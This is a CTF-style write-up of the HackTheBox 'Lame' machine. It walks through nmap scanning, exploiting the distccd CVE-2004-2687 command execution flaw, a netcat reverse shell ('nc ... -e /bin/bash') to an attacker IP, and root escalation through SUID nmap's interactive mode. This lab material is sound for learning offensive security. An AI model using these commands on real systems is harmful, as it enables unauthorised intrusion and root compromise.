> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/lame-hackthebox-writeup.md). # Lame HackTheBox Writeup Lame HackTheBox Easy Linux machine writeup covering Exploitation Port 3632 - distcc (CVE-2004-2687), Abusing SUID Nmap (Privilege Escalation), with practical enumeration, exploitation, foothold, and p {% embed url="" %} {% hint style="warning" %} **Skills:** * Exploitation Port 3632 - distcc (CVE-2004-2687) * Abusing SUID Nmap (Privilege Escalation) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.3 -oG allPorts ```

**Open Port Analysis with extractPorts:** Use the extractPorts function to display open ports in a concise format and copy them to the clipboard.

**Port Version Scan with Nmap:** Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p21,22,139,445,3632 10.10.10.3 -oN targeted ```

### Port 3632 - distccd > Distcc is a tool for speeding up the compilation process by using unused resources of other computers on the network. When configured on a machine, it can distribute its compilation tasks to other systems running the distccd daemon and having a compatible compiler. #### Vulnerability identified Version 4.2.4 of distccd listens on port 3632 and is vulnerable to CVE-2004-2687. This vulnerability allows an attacker to execute arbitrary commands with the privileges of the user the daemon is running under (often an unprivileged user, but this can vary depending on configuration). #### Vulnerability Check To confirm the presence of the vulnerability, we use the following Nmap script: ```bash nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687 ``` The result indicates that the server is indeed vulnerable.

### Exploitation #### Running a Python script To exploit the vulnerability, we use the following Python script: {% embed url="" %} ```bash python3 main.py -i 10.10.10.3 -p 3632 ``` This allows us to execute arbitrary commands on the target machine.

#### Running a reverse shell We listen on port 443: ```bash nc -nlvp 443 ``` We run the following command from the target machine to establish the connection: ```bash nc 10.10.14.26 443 -e /bin/bash ```

#### Terminal Handling ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Flag user.txt :)

## Privilege Escalation ### SUID - Nmap #### Finding SUID files We search for files with the SUID bit enabled using the following command: ```bash find / -perm -4000 2>/dev/null ```

#### Nmap identification Among the files listed we find **Nmap**. #### Exploitation Nmap can be used interactively to run commands as root. Here are the steps: Launch Nmap in interactive mode: ```bash nmap --interactive ``` Run commands as root, for example: ```bash !whoami ``` This prints "root".

Get a root shell: ```bash !sh ``` Once in the root shell, access the **root.txt** file to retrieve the flag.

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